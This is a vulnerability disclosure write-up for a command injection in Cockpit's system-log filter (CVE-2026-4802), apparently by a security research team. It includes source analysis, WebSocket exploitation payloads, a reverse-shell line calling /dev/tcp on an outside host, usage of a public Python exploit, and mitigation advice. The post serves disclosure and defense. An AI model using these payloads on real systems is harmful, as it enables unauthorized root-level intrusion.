[EN] CVE-2026-4802: Command execution on Cockpit
A command injection vulnerability has been identified in Cockpit, discovered by Hakai’s Research team. The flaw allows an authenticated user, even without administrative privileges, to inject operating system commands through the system logs viewing feature, achieving remote code execution on the server.
About Cockpit
Cockpit is a web-based Linux server administration tool developed by Red Hat and maintained as an open-source project. The platform provides a graphical interface for managing systemd services, viewing logs, configuring networks, managing storage, containers, and user accounts.
Cockpit comes installed by default in several Linux distributions, including Red Hat Enterprise Linux, Fedora, CentOS Stream, Ubuntu Server, and Debian. The interface is accessible through port 9090 and uses a WebSocket-based protocol for communication between the browser and the server.
The platform also offers an access control system based on operating system privileges, allowing different levels of users to access specific features. Even users with limited permissions have access to the system logs viewing interface.
CVE-2026-4802
The starting point of the vulnerability lies in how Cockpit processes filter parameters on the system logs page. The logs feature allows users to filter journal entries by various criteria, including date, priority, and service identifier.
The loadServiceFilters() function in the pkg/systemd/logsJournal.jsx file is responsible for building the journalctl command that will be executed on the server to retrieve the filtered log entries. This function receives user-controlled parameters from the URL fragment of the logs page and uses them in the construction of the shell command.
The problem occurs because the user-supplied parameters, such as the value of --since=, are incorporated into the command line with only a space escape before being passed to /bin/bash -ec. This allows an attacker to inject shell metacharacters, such as command substitution ($(...)), which will be interpreted by bash during execution.
Vulnerability Analysis
The vulnerability involves three points in the Cockpit source code.
In the file pkg/lib/journal.js, on line 94, the build_cmd() function concatenates the value of the since parameter directly into the --since= argument without any sanitization. The value comes from cockpit.location.options, that is, a user-controlled parameter:
if (options.since)
cmd.push("--since=" + options.since);
In the file pkg/systemd/logsJournal.jsx, on line 200, the loadServiceFilters() function receives the array returned by build_cmd(), applies quoting to the elements, and concatenates everything into a single string that is passed to /bin/bash -ec:
loadServiceFilters(match, options) {
const service_options = Object.assign({ output: "verbose" }, options);
let cmd = journal.build_cmd(match, service_options);
cmd = cmd.map(i => `'` + i.replaceAll(`'`, `'"'"'`) + `'`).join(" ");
cmd = "set -o pipefail; " + cmd + " | grep SYSLOG_IDENTIFIER= | sort -u";
cockpit.spawn(["/bin/bash", "-ec", cmd], { superuser: "try", err: "message" })
On line 211, the resulting string is passed to cockpit.spawn() with /bin/bash -ec, where the shell interprets metacharacters that escape the quoting context.
In parallel, in the file pkg/systemd/logsHelpers.js, on line 64, the since parameter also receives only a space escape for display in the interface’s text filter. This escape does not neutralize shell metacharacters such as $, `, (, ), or ;, allowing malicious payloads to traverse this layer intact until they are concatenated into the call to journalctl.
if (options.since)
full_grep += "since:" + options.since.replaceAll(" ", "\\ ") + " ";
Exploitation Vector
Exploitation occurs through Cockpit’s WebSocket connection, which uses the cockpit1 protocol to transport different communication channels between the client and the cockpit-bridge on the server. Among the available channel types, stream allows processes to be executed on the server through the spawn field, which directly receives the binary and the arguments to be executed; this is precisely the channel that will be abused to achieve command injection.
The attacker authenticates to Cockpit with the credentials of a valid user, even a low-privilege one such as viewer. They then establish a WebSocket connection to /cockpit/socket using the cockpit1 subprotocol and initialize the session with the init command. From there, they open a stream-type channel by sending an open command with the spawn array containing /bin/bash -ec and the injected command. Bash executes the command, expanding the $(...) command substitution and running the attacker’s payload.
Proof of Concept
To demonstrate the vulnerability, a payload was built that injects the id command, redirecting the output to a file:
--since=$(id>/tmp/cockpit-rce-check)
This value is incorporated into the construction of the journalctl command, resulting in the following execution line:
set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(id>/tmp/cockpit-rce-check) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u
When bash executes this line, the command substitution $(id>/tmp/cockpit-rce-check) is evaluated first, executing id and writing the result to the file /tmp/cockpit-rce-check.
The WebSocket request to exploit the vulnerability consists of opening a channel with the following payload:
{
"command": "open",
"channel": "inject",
"payload": "stream",
"spawn": ["/bin/bash", "-ec", "set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(id>/tmp/cockpit-rce-check) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u"],
"superuser": "try"
}

After execution, the result can be verified by reading the created file:
$ cat /tmp/cockpit-rce-check uid=0(root) gid=0(root) groups=0(root)
It’s also possible to get the output of the command executed on the server through the WebSocket response.

With command execution confirmed, exploitation can be escalated to arbitrary command execution and obtaining a reverse shell on the server by sending the websocket request below:
{
"command": "open",
"channel": "inject",
"payload": "stream",
"spawn": ["/bin/bash", "-ec", "set -o pipefail; journalctl -q --no-tail --output=verbose --since=$(bash -i >& /dev/tcp/192.168.0.226/4444 0>&1) --priority=err --reverse -- | grep SYSLOG_IDENTIFIER= | sort -u"],
"superuser": "try"
}

In this way, it was possible to achieve arbitrary command execution on the server by injecting malicious payloads into the since parameter of the inject channel, which was concatenated directly into the call to journalctl without any sanitization. By exploiting command substitution ($(...)) within the WebSocket request, the content was interpreted by /bin/bash, resulting in Remote Code Execution (RCE) on the server, confirmed both by the controlled writing of files on the system and by obtaining a fully functional reverse shell.
Exploit
Based on the analysis of the vulnerability, an automated proof of concept was developed in Python, which encapsulates the entire exploitation flow, from authentication in Cockpit to payload injection and the establishment of the reverse shell, in a single command-line tool. The exploit supports three modes of operation: check, to validate the presence of the vulnerability on the target; exec, to execute arbitrary commands with output return; and reverse, to obtain a reverse shell on the affected server.
The proof of concept is publicly available in Hakai’s GitHub repository:
https://github.com/hakaioffsec/CVE-2026-4802
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check $ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id" $ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444

Obtaining a reverse shell via the exploit:

Mitigation
It is recommended to immediately update Cockpit to the latest available version, which contains the fix for this vulnerability. If immediate updating is not feasible, it is recommended as a palliative measure to restrict access to the Cockpit interface to trusted users only, and to review the users with access to the system.
The proper fix involves sanitizing user-controlled parameters before incorporating them into the command line, using appropriate escape mechanisms to prevent the interpretation of shell metacharacters, or preferably, passing the arguments as an array directly to the process, avoiding the invocation of /bin/bash -ec with a concatenated string.
Let’s Practice!
Hacking Club is a training platform focused on developing cybersecurity professionals. The Pit challenge simulates a server with the vulnerability mentioned in this post and can be used to reinforce the knowledge presented.
References
https://bugzilla.redhat.com/show_bug.cgi?id=2451155
https://access.redhat.com/security/cve/CVE-2026-4802
https://www.cve.org/CVERecord?id=CVE-2026-4802